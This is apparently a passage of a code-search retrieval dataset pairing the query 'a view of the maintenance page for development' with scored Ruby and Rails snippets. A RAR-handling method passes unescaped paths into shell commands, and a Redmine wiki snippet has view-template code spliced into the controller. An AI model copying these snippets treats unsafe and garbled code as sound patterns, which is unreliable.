"text": "def handle_rar(rar)\n if File.exists? rar\n log(\"handle_rar #{rar}\") if $opt[\"debug\"]\n directory = File.dirname(rar)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n \n episode_status, episode_name, episode_season, episode_episode = tv_file(File.basename(directory) + \".avi\")\n\n if episode_status\n unrar_list = %x[unrar l #{rar}]\n count = 0\n unrar_list_file = \"\"\n unrar_list.split(/\\n/).each do |line|\n if line =~ /(.*)(#{ext_list})\\s+\\d+\\w\\d+/ or line =~ /(.*)(#{ext_list})$/\n count = count + 1\n unrar_list_file = line\n end\n unrar_list_file = \"\" if count > 1 \n end\n\n if unrar_list_file =~ /(.*)(#{ext_list})\\s+\\d+\\w\\d+/ or unrar_list_file =~ /\\s\\d+:\\d+\\s+(.*)(#{ext_list})$/\n name = $1\n ext = $2\n if name =~ /\\w+/ and ext =~ /#{ext_list}/\n target_file = name.gsub(/^\\s+/,'') + ext\n media_file = directory + \"/\" + target_file\n episode_status, episode_name, episode_season, episode_episode = tv_file(target_file) if $config[\"series\"][\"process\"] == true\n if episode_status and not File.exist? media_file\n command = \"#{$config[\"settings\"][\"unrar_location\"]} e #{rar} #{directory}\"\n log(\"unrar #{target_file}\")\n begin\n PTY.spawn(command) do |r, w, pid|\n begin\n r.each do |line|\n if line =~ /#{target_file}\\s+(.*)/\n puts $1\n end\n end\n rescue Errno::EIO\n end\n end\n rescue PTY::ChildExited => e\n log(\"The child process exited!\")\n end\n \n if File.exist? media_file\n if episode_status == true\n episode = Episode.new media_file\n if episode.is_ep?\n episode.status = handle_series episode \n media = episode.class.to_s\n end\n end\n end\n \n FileUtils.rm_r(directory,$options)\n end\n end\n end \n end\n end\nend",
"title": ""
},
{
"docid": "a3e3c51db644736275df4e5941543da7",
"score": "0.45436913",
"text": "def run\n begin\n s = Dropbox::Session.new('...', '...')\n rescue => ex\n log \"Dropbox doesn't like it when you don't have keys\"\n end\n# s.mode = :dropbox\n# s.authorizing_user = 'email@gmail.com'\n# s.authorizing_password = '...'\n# s.authorize!\n#\n# tmp_file = Tempfile.new('myfile.txt')\n# tmp_file.write(\"blahblah\")\n# tmp_file.close\n#\n# s.upload tmp_file.path, 'Test'\n# tmp_file.unlink\n end",
"title": ""
}
] |
c8f0a10f4bbf30e4c7bb0a51cd8297c1 | a view of the maintenance page for development | [
{
"docid": "3798ad4c4777ff911b87c83c61594ac5",
"score": "0.7064023",
"text": "def maintenance\n render action: \"maintenance\", layout: false\n end",
"title": ""
}
] | [
{
"docid": "19422e1e3f8c67cf23e1a815e320b4af",
"score": "0.7451078",
"text": "def show_maintenance\n f = File.open MAINTENANCE_PAGE, 'wb'\n haml_maintenance = Haml::Engine.new File.read(\"#{RAILS_ROOT}/public/maintenance.haml\")\n f.write haml_maintenance.to_html\n f.close\n end",
"title": ""
},
{
"docid": "bd11f2879ed761904e1c067af0762cbe",
"score": "0.7134843",
"text": "def maintenance\n render layout: 'basic'\n end",
"title": ""
},
{
"docid": "ae57773693acfad0398220ca35ff3ed7",
"score": "0.7058119",
"text": "def show_maintenance_page\n\t\trender :template => \"layouts/maintenance\", :layout => false\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "f242c83855bdaf39e7ba76b182590ecd",
"score": "0.6995835",
"text": "def show\n if params[:preview] == 'true'\n @maintenance = Maintenance.new(params[:maintenance])\n @preview = true\n else\n @maintenance = Maintenance.find(:first)\n end\n if !@maintenance.nil? and @maintenance.is_in_maintenance?\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @maintenance }\n end\n else\n redirect_to news_index_url\n end\n end",
"title": ""
},
{
"docid": "ce42a05faaa7a5e420dc3892e9a1247e",
"score": "0.6986111",
"text": "def check_maintenance\n @state = CoreService.check_state\n return unless @state\n path_included = CoreService.path_included(request.path)\n render file: 'public/maintenancepage.html' unless path_included\n end",
"title": ""
},
{
"docid": "f45d47f4947210bd2b64eb753814ae6b",
"score": "0.6969199",
"text": "def hide_maintenance\n File.delete MAINTENANCE_PAGE\n end",
"title": ""
},
{
"docid": "496b6f70db7184f7ae8f9ec2635815f9",
"score": "0.68152654",
"text": "def maintenance_status; end",
"title": ""
},
{
"docid": "e4987cfb4ce948ca18fee0d97b598e51",
"score": "0.6692939",
"text": "def create_maintenance_html\n \n puts \"===== Setting up maintenance.html\"\n maintenance_file = @settings['local']['application_root']+\"/public/maintenance.html\"\n if !File.exist?(maintenance_file) || force? || confirmation(\"overwrite #{maintenance_file}\")\n run \"cp #{File.dirname(__FILE__)+'/maintenance_template'} #{maintenance_file}\"\n end\n \n end",
"title": ""
},
{
"docid": "ca29bfdf1260ca426d69c7dc636689f8",
"score": "0.6684898",
"text": "def index\n @maintenances = Maintenance.all\n end",
"title": ""
},
{
"docid": "ca29bfdf1260ca426d69c7dc636689f8",
"score": "0.6684898",
"text": "def index\n @maintenances = Maintenance.all\n end",
"title": ""
},
{
"docid": "00aa985f8b8a1680fc93735f8480cd2a",
"score": "0.66842365",
"text": "def local_maintenance\n @local_maintenance\n end",
"title": ""
},
{
"docid": "8df1d2c94b0d2b33a0c5e2d29472ac85",
"score": "0.665671",
"text": "def mob_maintenance\n respond_to do |format|\n format.html # mob_maintenance.html.erb\n end\n end",
"title": ""
},
{
"docid": "8e4da8812e4306faafb2dc29d4392020",
"score": "0.658252",
"text": "def data_maintenance\n respond_to do |format|\n format.html # data_maintenance.html.erb\n end\n end",
"title": ""
},
{
"docid": "1a436ac3a5c119a093b987d7bbac8bf9",
"score": "0.64714223",
"text": "def check_maintenance\n if Setting.maintenance == true\n redirect_to maintenance_path\n end\n end",
"title": ""
},
{
"docid": "a083e73a4816fdddf1834aa074d6f32b",
"score": "0.6421958",
"text": "def show\n @maintenance = Maintenance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @maintenance }\n end\n end",
"title": ""
},
{
"docid": "01368056bff722ee6587ab9a6c2d7a32",
"score": "0.6371785",
"text": "def get_maintenance_status; end",
"title": ""
},
{
"docid": "201110b843de093777c3a787c9932a04",
"score": "0.6350329",
"text": "def global_maintenance\n @global_maintenance\n end",
"title": ""
},
{
"docid": "3cdb9c3a62a0699c5ac23c4fde0e1176",
"score": "0.62749314",
"text": "def maintenance!\n api.post_app_maintenance name, '1'\n end",
"title": ""
},
{
"docid": "9808d1afeed5893fee149988e3548f34",
"score": "0.6248075",
"text": "def maintenance_page_url\n extract_and_verify_credentials\n\n \"#{bucket_path}/#{FOLDER}/maintenance.html\"\n end",
"title": ""
},
{
"docid": "18362da27fb3966ac2a80ac45e32ec42",
"score": "0.6244348",
"text": "def views; end",
"title": ""
},
{
"docid": "18362da27fb3966ac2a80ac45e32ec42",
"score": "0.6244348",
"text": "def views; end",
"title": ""
},
{
"docid": "4a0bef734cf8b316b6605f593439efb3",
"score": "0.62341577",
"text": "def edit_maintenance_status(maintenance); end",
"title": ""
},
{
"docid": "f6d9a39ee79f8a286bbcaa0da022c887",
"score": "0.62297755",
"text": "def list\n return unless has_permission :can_manage_aircraft\n @page_title = \"Aircraft Maintenance\"\n @maintenance_date_pages, @maintenance_dates = paginate :maintenance_dates, :per_page => 10\n end",
"title": ""
},
{
"docid": "3c9b4005049e7d5253c5a5363601e0bb",
"score": "0.62136394",
"text": "def new\n return unless has_permission :can_manage_aircraft\n @page_title = \"New Aircraft Maintenance Counter\"\n @maintenance_date = MaintenanceDate.new\n end",
"title": ""
},
{
"docid": "76bf897c7d0479d8b2fe96ba7a4e2bd4",
"score": "0.62113714",
"text": "def index\n @pc_maintenances = PcMaintenance.all\n end",
"title": ""
},
{
"docid": "febdffb03d9590bc104852b4eba810ee",
"score": "0.62100494",
"text": "def maintenance(status)\n heroku \"maintenance:#{status}\"\n end",
"title": ""
},
{
"docid": "0bc0b2f4a5cdd4a1910cf77f4b13a9a1",
"score": "0.6106814",
"text": "def new\n @maintenance = Maintenance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @maintenance }\n end\n end",
"title": ""
},
{
"docid": "2fc134d5193aaf6785f95268ae6bd3d8",
"score": "0.6098016",
"text": "def admin_view\n\n end",
"title": ""
},
{
"docid": "99ec0eac7082b93b7face76e5ac1e9d2",
"score": "0.60659003",
"text": "def show\n\t\tunless current_admin.full_access? || current_admin.partial_access?\n\t\t\tredirect_to \"/404.html\"# configurar pagina 403\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e8439a402145fe14d5a98c8c80bf5839",
"score": "0.6051658",
"text": "def maintenance_enabled\n @maintenance_enabled\n end",
"title": ""
},
{
"docid": "cd3e52d46bc35ae84c7fd614341f899c",
"score": "0.60455704",
"text": "def index\n @operations = @maintenance.operations\n end",
"title": ""
},
{
"docid": "0f22f6ab9344f535660472507226f1c5",
"score": "0.6034337",
"text": "def index\n @maintenance_actions = MaintenanceAction.all\n end",
"title": ""
},
{
"docid": "ed83d90348a7f712e1f79456d69b44ec",
"score": "0.6031006",
"text": "def index\n @routine_maintenances = RoutineMaintenance.all\n end",
"title": ""
},
{
"docid": "790c3e2947e6ce9088be399246364403",
"score": "0.601577",
"text": "def show\n @maintenance = Maintenance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @maintenance }\n end\n end",
"title": ""
},
{
"docid": "072ccedc6ed7534a6618dd0bac426506",
"score": "0.60143",
"text": "def display_server_downtime_message\n Rails.application.display('Server maintenance. Rently will be back in a bit!')\n end",
"title": ""
},
{
"docid": "671d99f20f47501641ad74660a429ef4",
"score": "0.5997332",
"text": "def audit_show\n @current_url = self.send(\"admin_#{@node.content_class.name.underscore}_url\", @node.content) + '?show_actions=false'\n\n if @node.content.versioned? && @node.publishable?\n @previous_url = self.send(\"previous_admin_#{@node.content_class.name.underscore}_url\", @node.content) + '?show_actions=false'\n\n @diff_url = previous_diffed_admin_node_url(@node, :show_actions => false)\n end\n\n render :action => :audit_show, :layout => false\n end",
"title": ""
},
{
"docid": "c0d55eb059a1769076291e717e49e021",
"score": "0.5996647",
"text": "def show\n @tests = {}\n @tests[:dj_running] = Utils::DelayedJobChecker.instance.ok?\n @ok = @tests.values.all?\n @version = Cnfg.system_version\n render(layout: nil, formats: :text, status: @ok ? :ok : :service_unavailable)\n end",
"title": ""
},
{
"docid": "fb02522d93b9bb37cab32563f12d86c9",
"score": "0.5995956",
"text": "def administration\n \n end",
"title": ""
},
{
"docid": "3c8fd4ba8f5ac90af31b25cda2e6915e",
"score": "0.5980104",
"text": "def show\n if params[:version] && !User.current.allowed_to?(:view_wiki_edits, @project)\n deny_access\n return\n end\n @content = @page.content_for_version(params[:version])\n if @content.nil?\n if User.current.allowed_to?(:edit_wiki_pages, @project) && editable? && !api_request?\n edit\n render :action => 'edit'\n else\n render_404\n end\n return\n end\n if User.current.allowed_to?(:export_wiki_pages, @project)\n if params[:format] == 'pdf'\n send_file_headers! :type => 'application/pdf', :filename => \"#{@page.title}.pdf\"\n return\n elsif params[:format] == 'html'\n export = render_to_string :action => 'export', :layout => false\n send_data(export, :type => 'text/html', :filename => \"#{@page.title}.html\")\n return\n elsif params[:format] == 'txt'\n send_data(@content.text, :type => 'text/plain', :filename => \"#{@page.title}.txt\")\n return\n end\n end\n @editable = editable?\n @sections_editable = @editable && User.current.allowed_to?(:edit_wiki_pages, @page.project) &&\n @content.current_version? &&\n Redmine::WikiFormatting.supports_section_edit?\n\n respond_to do |format|\n format.html\n format.api\n end\n \n current_language \n html_title \n Redmine::Info.app_name \n csrf_meta_tag \n favicon \n stylesheet_link_tag 'jquery/jquery-ui-1.11.0', 'application', 'responsive', :media => 'all' \n stylesheet_link_tag 'rtl', :media => 'all' if l(:direction) == 'rtl' \n javascript_heads \n heads_for_theme \n call_hook :view_layouts_base_html_head \n yield :header_tags \n body_css_classes \n call_hook :view_layouts_base_body_top \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n label_tag 'flyout-search', '⚲'.html_safe, :class => 'search-magnifier search-magnifier--flyout' \n text_field_tag 'q', @question, :id => 'flyout-search', :class => 'small js-search-input', :placeholder => l(:label_search) \n end \n end \n if User.current.logged? \n if !Setting.gravatar_enabled? \n end \n if Setting.gravatar_enabled? \n link_to(avatar(User.current, :size => \"80\"), user_path(User.current)) \n end \n link_to_user(User.current, :format => :username) \n end \n if display_main_menu?(@project) \n l(:label_project) \n end \n l(:label_general) \n l(:label_profile) \n render_menu :account_menu \n content_tag('div', \"#{l(:label_logged_as)} #{link_to_user(User.current, :format => :username)}\".html_safe, :id => 'loggedas') if User.current.logged? \n render_menu :top_menu if User.current.logged? || !Setting.login_required? \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n link_to l(:label_search), {:controller => 'search', :action => 'index', :id => @project}, :accesskey => accesskey(:search) \n text_field_tag 'q', @question, :size => 20, :class => 'small', :accesskey => accesskey(:quick_search) \n end \n render_project_jump_box \n end \n page_header_title \n if display_main_menu?(@project) \n render_main_menu(@project) \n end \n sidebar_content? ? '' : 'nosidebar' \n yield :sidebar \n view_layouts_base_sidebar_hook_response \n render_flash_messages \n yield \n call_hook :view_layouts_base_content \n l(:label_loading) \n link_to Redmine::Info.app_name, Redmine::Info.url \n call_hook :view_layouts_base_body_bottom \n\n if User.current.allowed_to?(:edit_wiki_pages, @project) \n link_to l(:label_wiki_page_new), new_project_wiki_page_path(@project), :remote => true, :class => 'icon icon-add' \n end \n if @editable \n if @content.current_version? \n link_to_if_authorized(l(:button_edit), {:action => 'edit', :id => @page.title}, :class => 'icon icon-edit', :accesskey => accesskey(:edit)) \n watcher_link(@page, User.current) \n link_to_if_authorized(l(:button_lock), {:action => 'protect', :id => @page.title, :protected => 1}, :method => :post, :class => 'icon icon-lock') if !@page.protected? \n link_to_if_authorized(l(:button_unlock), {:action => 'protect', :id => @page.title, :protected => 0}, :method => :post, :class => 'icon icon-unlock') if @page.protected? \n link_to_if_authorized(l(:button_rename), {:action => 'rename', :id => @page.title}, :class => 'icon icon-move') \n link_to_if_authorized(l(:button_delete), {:action => 'destroy', :id => @page.title}, :method => :delete, :data => {:confirm => l(:text_are_you_sure)}, :class => 'icon icon-del') \n else \n link_to_if_authorized(l(:button_rollback), {:action => 'edit', :id => @page.title, :version => @content.version }, :class => 'icon icon-cancel') \n end \n end \n link_to_if_authorized(l(:label_history), {:action => 'history', :id => @page.title}, :class => 'icon icon-history') \n wiki_page_breadcrumb(@page) \n unless @content.current_version? \n title [@page.pretty_title, project_wiki_page_path(@page.project, @page.title, :version => nil)],\n [l(:label_history), history_project_wiki_page_path(@page.project, @page.title)],\n \"#{l(:label_version)} #{@content.version}\" \n link_to((\"\\xc2\\xab \" + l(:label_previous)),\n :action => 'show', :id => @page.title, :project_id => @page.project,\n :version => @content.previous.version) + \" - \" if @content.previous \n \"#{l(:label_version)} #{@content.version}/#{@page.content.version}\" \n '('.html_safe + link_to(l(:label_diff), :controller => 'wiki', :action => 'diff',\n :id => @page.title, :project_id => @page.project,\n :version => @content.version) + ')'.html_safe if @content.previous \n link_to((l(:label_next) + \" \\xc2\\xbb\"), :action => 'show',\n :id => @page.title, :project_id => @page.project,\n :version => @content.next.version) + \" - \" if @content.next \n link_to(l(:label_current_version), :action => 'show', :id => @page.title, :project_id => @page.project, :version => nil) \n @content.author ? link_to_user(@content.author) : l(:label_user_anonymous)\n \n format_time(@content.updated_on) \n @content.comments \n end \n render(:partial => \"wiki/content\", :locals => {:content => @content}) \n l(:label_attachment_plural) \n link_to_attachments @page, :thumbnails => true \n if @editable && authorize_for('wiki', 'add_attachment') \n form_tag({:controller => 'wiki', :action => 'add_attachment',\n :project_id => @project, :id => @page.title},\n :multipart => true, :id => \"add_attachment_form\") do \n render :partial => 'attachments/form' \n submit_tag l(:button_add) \n end \n end \n other_formats_links do |f| \n f.link_to 'PDF', :url => {:id => @page.title, :version => params[:version]} \n f.link_to 'HTML', :url => {:id => @page.title, :version => params[:version]} \n f.link_to 'TXT', :url => {:id => @page.title, :version => params[:version]} \n end if User.current.allowed_to?(:export_wiki_pages, @project) \n content_for :sidebar do \n render :partial => 'sidebar' \n end \n html_title @page.pretty_title \n\n textilizable content, :text, :attachments => content.page.attachments,\n :edit_section_links => (@sections_editable && {:controller => 'wiki', :action => 'edit', :project_id => @page.project, :id => @page.title}) \n\n if defined?(container) && container && container.saved_attachments \n container.saved_attachments.each_with_index do |attachment, i| \n i \n text_field_tag(\"attachments[p#{i}][filename]\", attachment.filename, :class => 'filename') +\n text_field_tag(\"attachments[p#{i}][description]\", attachment.description, :maxlength => 255, :placeholder => l(:label_optional_description), :class => 'description') +\n link_to(' '.html_safe, attachment_path(attachment, :attachment_id => \"p#{i}\", :format => 'js'), :method => 'delete', :remote => true, :class => 'remove-upload') \n hidden_field_tag \"attachments[p#{i}][token]\", \"#{attachment.token}\" \n end \n end \n file_field_tag 'attachments[dummy][file]',\n :id => nil,\n :class => 'file_selector',\n :multiple => true,\n :onchange => 'addInputFiles(this);',\n :data => {\n :max_file_size => Setting.attachment_max_size.to_i.kilobytes,\n :max_file_size_message => l(:error_attachment_too_big, :max_size => number_to_human_size(Setting.attachment_max_size.to_i.kilobytes)),\n :max_concurrent_uploads => Redmine::Configuration['max_concurrent_ajax_uploads'].to_i,\n :upload_path => uploads_path(:format => 'js'),\n :description_placeholder => l(:label_optional_description)\n } \n l(:label_max_size) \n number_to_human_size(Setting.attachment_max_size.to_i.kilobytes) \n content_for :header_tags do \n javascript_include_tag 'attachments' \n end \n\n if @wiki && @wiki.sidebar \n textilizable @wiki.sidebar.content, :text \n end \n l(:label_wiki) \n link_to(l(:field_start_page), {:action => 'show', :id => nil}) \n link_to(l(:label_index_by_title), {:action => 'index'}) \n link_to(l(:label_index_by_date),\n {:controller => 'wiki', :project_id => @project,\n :action => 'date_index'}) \n\n wiki_page_breadcrumb(@page) \n @page.pretty_title \n form_for @content, :as => :content,\n :url => {:action => 'update', :id => @page.title},\n :html => {:method => :put, :multipart => true, :id => 'wiki_form'} do |f| \n f.hidden_field :version \n if @section \n hidden_field_tag 'section', @section \n hidden_field_tag 'section_hash', @section_hash \n end \n error_messages_for 'content' \n text_area_tag 'content[text]', @text, :cols => 100, :rows => 25,\n :class => 'wiki-edit', :accesskey => accesskey(:edit) \n if @page.safe_attribute_names.include?('parent_id') && @wiki.pages.any? \n fields_for @page do |fp| \n l(:field_parent_title) \n fp.select :parent_id,\n content_tag('option', '', :value => '') +\n wiki_page_options_for_select(\n @wiki.pages.includes(:parent).to_a -\n @page.self_and_descendants, @page.parent) \n end \n end \n l(:field_comments) \n f.text_field :comments, :size => 120, :maxlength => 1024 \nl(:label_attachment_plural)\n render :partial => 'attachments/form' \n submit_tag l(:button_save) \n preview_link({:controller => 'wiki', :action => 'preview', :project_id => @project, :id => @page.title }, 'wiki_form') \n link_to l(:button_cancel), wiki_page_edit_cancel_path(@page) \n wikitoolbar_for 'content_text' \n end \n content_for :header_tags do \n robot_exclusion_tag \n end \n html_title @page.pretty_title \n\nend",
"title": ""
},
{
"docid": "a7154a3e0d0b3bce17b687f19042ca03",
"score": "0.59579664",
"text": "def maintenance\n @maintenance = PurchaseRequisitionItem.where(\"status = ? and maintenance = ?\", PurchaseRequisitionItem::APPROVED, PurchaseRequisitionItem::MAINTENANCE)\n end",
"title": ""
},
{
"docid": "a013643e893682791381773831e4dae7",
"score": "0.59257364",
"text": "def index\n @maintenancers = Maintenancer.all\n end",
"title": ""
},
{
"docid": "66ad228f3b0acf26e81a9032a42bcca8",
"score": "0.5918346",
"text": "def enfore_maintenance_mode\n return if !ENV['MAINTENANCE_MODE'] && Rails.configuration.published_locales.include?(I18n.locale)\n return if %w[sessions switch_user].include? controller_name\n return if current_user.present?\n\n redirect_to maintenance_path, status: :see_other\n end",
"title": ""
},
{
"docid": "7ce195f4e7e338da140f0f742a88639c",
"score": "0.5902063",
"text": "def index\n @maintenance_reports = MaintenanceReport.all\n end",
"title": ""
},
{
"docid": "7ce195f4e7e338da140f0f742a88639c",
"score": "0.5902063",
"text": "def index\n @maintenance_reports = MaintenanceReport.all\n end",
"title": ""
},
{
"docid": "05176a5a27be26978ca8f789421e8b06",
"score": "0.5894251",
"text": "def show\n @maintenance = Maintenance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @maintenance }\n format.pdf { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "54582dd6978e28433a0dc27034c529b6",
"score": "0.5887578",
"text": "def website_is_in_maintenance?\n File.exists?(Rails.root.join('tmp', 'maintenance'))\n end",
"title": ""
},
{
"docid": "bc6bae475c8b90c5c253805688cfdded",
"score": "0.5858487",
"text": "def site_cp_intro\n \t\t\"#{request.domain} is a website. This means it is a group of\n\t\t\tprograms that are always running. #{link_to_action 'Site'}\n\t\t\tenables admins to\tmonitor the operation of #{request.domain}\n\t\t\tand view configuration files as well as site logs.\"\n\t\tend",
"title": ""
},
{
"docid": "63531605cc885f7aca8a5af7e1f39382",
"score": "0.5833136",
"text": "def index\n @maintenances = Maintenance.all\n for el in @maintenances\n el[:file_url] = \"#{el.file.service_url}\"\n end\n end",
"title": ""
},
{
"docid": "1f6e2d177b0a4d35df0f266729528bed",
"score": "0.58277774",
"text": "def show\n puts \"Welcome to the Developers Controller\"\n end",
"title": ""
},
{
"docid": "641a571d13b71f1f8585655481d5f9c8",
"score": "0.5825064",
"text": "def show\n @main_page = \"Admin\"\n @page_title = \"Ver Pedido\"\n end",
"title": ""
},
{
"docid": "dd0fd719caf2edf2a00f619e6c2e958f",
"score": "0.5815965",
"text": "def show\n drop_breadcrumb(\"部门管理\",departments_path)\n drop_page_title(\"部门详情\")\n drop_breadcrumb\n end",
"title": ""
},
{
"docid": "6fa5b371855e138c12aa348b2df6865e",
"score": "0.5813945",
"text": "def set_maintenance_status(maintenance); end",
"title": ""
},
{
"docid": "58ed29dee3f084d03601289511d9c8f0",
"score": "0.58095855",
"text": "def update\n if @maintenance.update(maintenance_params)\n render :show, status: :ok, location: @maintenance\n else\n render json: @maintenance.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "003a3f29ba736360ab4aca4b512c68dc",
"score": "0.58072037",
"text": "def set_maintenance\n @maintenance = Maintenance.find(params[:id])\n end",
"title": ""
},
{
"docid": "003a3f29ba736360ab4aca4b512c68dc",
"score": "0.58072037",
"text": "def set_maintenance\n @maintenance = Maintenance.find(params[:id])\n end",
"title": ""
},
{
"docid": "003a3f29ba736360ab4aca4b512c68dc",
"score": "0.58072037",
"text": "def set_maintenance\n @maintenance = Maintenance.find(params[:id])\n end",
"title": ""
},
{
"docid": "003a3f29ba736360ab4aca4b512c68dc",
"score": "0.58072037",
"text": "def set_maintenance\n @maintenance = Maintenance.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d53f6d611fc269bf908d851eaa265b0",
"score": "0.58023417",
"text": "def show\n @page_title = I18n.t(:admin_page_title)\n current_harvest\n end",
"title": ""
},
{
"docid": "8fb7043a31866e1c74a473e9eff465b7",
"score": "0.5798802",
"text": "def maintenance\n requires_preauth\n mode_with_argument = shift_argument || ''\n mode, mode_argument = mode_with_argument.split('=')\n\n db = shift_argument\n no_maintenance = force?\n if mode.nil? || db.nil? || !(%w[info run window].include? mode)\n Heroku::Command.run(current_command, [\"--help\"])\n exit(1)\n end\n\n resolver = generate_resolver\n attachment = resolver.resolve(db)\n if attachment.starter_plan?\n error(\"pg:maintenance is not available for hobby-tier databases\")\n end\n\n case mode\n when 'info'\n response = hpg_client(attachment).maintenance_info\n display response[:message]\n when 'run'\n if in_maintenance?(resolver.app_name) || no_maintenance\n response = hpg_client(attachment).maintenance_run\n display response[:message]\n else\n error(\"Application must be in maintenance mode or --force flag must be used\")\n end\n when 'window'\n unless mode_argument =~ /\\A[A-Za-z]{3,10} \\d\\d?:[03]0\\z/\n error('Maintenance windows must be \"Day HH:MM\", where MM is 00 or 30.')\n end\n\n response = hpg_client(attachment).maintenance_window_set(mode_argument)\n display \"Maintenance window for #{attachment.display_name} set for #{response[:window]}.\"\n end\n end",
"title": ""
},
{
"docid": "dcd210cf5e79f23a341703f6cc2aab98",
"score": "0.5798092",
"text": "def set_maintenance\r\n @maintenance = Maintenance.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "734bd0057bfd56b641334032fec4c3ad",
"score": "0.57968354",
"text": "def view\n raise \"There is no way to show #{name} yet.\"\n end",
"title": ""
},
{
"docid": "33e0b9ec980a39d3465000a217fca045",
"score": "0.57916963",
"text": "def show\n checkIfAdmin()\n end",
"title": ""
},
{
"docid": "7f28bbfa9f1ba040a1237445dd94792f",
"score": "0.5788006",
"text": "def index\n\t\t@maintenances = Maintenance.all\n\t\t@buildings = Building.all\n\tend",
"title": ""
},
{
"docid": "07c18b74b627bf87d99a640a01d2b898",
"score": "0.57847977",
"text": "def overview\n\n end",
"title": ""
},
{
"docid": "a7a4e523e865037ef81f2f31ac17cf8a",
"score": "0.57731485",
"text": "def admin_index\n return unless (user_is_allowed_to 'view', 'rets_agents') \n render :layout => 'caboose/admin' \n end",
"title": ""
},
{
"docid": "ea046f8b70332e4a0cf44dff4be307c2",
"score": "0.5758038",
"text": "def index\n # index\n @page_title = \"EcomPages Admin\"\n end",
"title": ""
},
{
"docid": "5577e2b4b9ffd15c175ecf57ee714d28",
"score": "0.5757809",
"text": "def view_layouts_base_html_head(context = {})\n tags = stylesheet_link_tag('admin', :plugin => 'redmine_maintenance_mode')\n\n # read plugin settings\n settings = MaintenanceModeFunctions.get_maintenance_plugin_settings\n\n if settings[:maintenance_active] || settings[:maintenance_scheduled] || MaintenanceModeFunctions.is_now_scheduled_maintenance\n tags += stylesheet_link_tag 'maintenance_mode', :plugin => 'redmine_maintenance_mode'\n end\n\n tags\n end",
"title": ""
},
{
"docid": "cdbd910f6fab218a084115e2bf05fb83",
"score": "0.57511294",
"text": "def new\r\n @ph_maintenance = PhMaintenance.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @ph_maintenance }\r\n end\r\n end",
"title": ""
},
{
"docid": "ae5a3b5afc613869a3567522b5417b53",
"score": "0.57469714",
"text": "def developer_home\n \trender layout: \"developer_home_template\"\n end",
"title": ""
},
{
"docid": "7dfd3359aceb018d8d502d2eb91bec69",
"score": "0.57464117",
"text": "def admin_index\n return if !user_is_allowed('redirects', 'view') \n @domain = Domain.where(:domain => request.host_with_port).first \n @redirects = @domain ? PermanentRedirect.where(:site_id => @domain.site_id).reorder(:priority).all : [] \n render :layout => 'caboose/admin' \n end",
"title": ""
},
{
"docid": "1ae2696b1b5abf7f11287b449c140ae7",
"score": "0.5746062",
"text": "def view_with_check_option_support\n :local if server_version >= 50002\n end",
"title": ""
},
{
"docid": "741ea59492030f54c4a01cd45b39fa07",
"score": "0.57446563",
"text": "def show\n checkadmin\n end",
"title": ""
},
{
"docid": "5d1d2544786e3d20ed6ea249746e45bf",
"score": "0.57424456",
"text": "def show #just for admin view\n end",
"title": ""
},
{
"docid": "7d3338284d5aba0a32031bc913b41ca0",
"score": "0.57402766",
"text": "def index\n @maintanances = Maintanance.all\n end",
"title": ""
},
{
"docid": "76854bf96aeea179d0477e92d3958d45",
"score": "0.57364",
"text": "def show\n\n @title = @develop.name + \" (\"+ @develop.status_name + \")\"\n @history = get_history_with_files(@develop)\n @owner = @develop\n respond_modal_with @develop, location: root_path\n end",
"title": ""
},
{
"docid": "a43ebf1ba0f077083b1e4b62a9223b1b",
"score": "0.5733276",
"text": "def show\n render layout: 'webinius_cms/sites'\n end",
"title": ""
},
{
"docid": "b76a4adc4c1f94299915547709af04f3",
"score": "0.5729093",
"text": "def take_down_for_maintenance?;end",
"title": ""
},
{
"docid": "159d293a8e98f8bfe81dfe1d9c5fee0a",
"score": "0.5720929",
"text": "def index\n if !is_admin\n dev_redirect\n end\n @stories = Story.all\n end",
"title": ""
},
{
"docid": "3ec615b12bc37bd0b1b48327cefcae93",
"score": "0.5719973",
"text": "def get_maintenance(opts = {})\n data, _status_code, _headers = get_maintenance_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "9540ca0e215ce8fb9bf4f36943ecfc59",
"score": "0.5710781",
"text": "def index\n @maintenance_categories = MaintenanceCategory.all\n end",
"title": ""
},
{
"docid": "3e49ba70d13b2d78ccda0fba1c0371fd",
"score": "0.5695101",
"text": "def view\n view_dvi\n end",
"title": ""
},
{
"docid": "0b33db14ee9b6d92210dac6ec9a49a6c",
"score": "0.5693799",
"text": "def index\n @devisons = Devison.all\n end",
"title": ""
},
{
"docid": "bbbd4830f9531f6ceffbb65cb6253385",
"score": "0.5691704",
"text": "def views; Waves.application.views; end",
"title": ""
},
{
"docid": "4e9e05c6040c9f0dc78828a960a6c3e6",
"score": "0.5682696",
"text": "def show_developer\n end",
"title": ""
},
{
"docid": "e4b00130e161fb5cc223eb173c65b7d5",
"score": "0.56745535",
"text": "def index\n @maintenance_records = MaintenanceRecord.all\n end",
"title": ""
},
{
"docid": "960fef44662436d128d27f28b5ccb4bc",
"score": "0.5671158",
"text": "def show\n \n\n redirect_to url_for([@project, @edition, @page])\n #render \"projects/trunk\"\n end",
"title": ""
},
{
"docid": "828b5132451826a18aa37d8fb6074f7e",
"score": "0.5661803",
"text": "def index\n render_markdown(\"#{SANDBOX_DOCS_ABOUT}overview.md\");\n end",
"title": ""
},
{
"docid": "66cbbe14c43f3718be692cb9819f3e99",
"score": "0.565764",
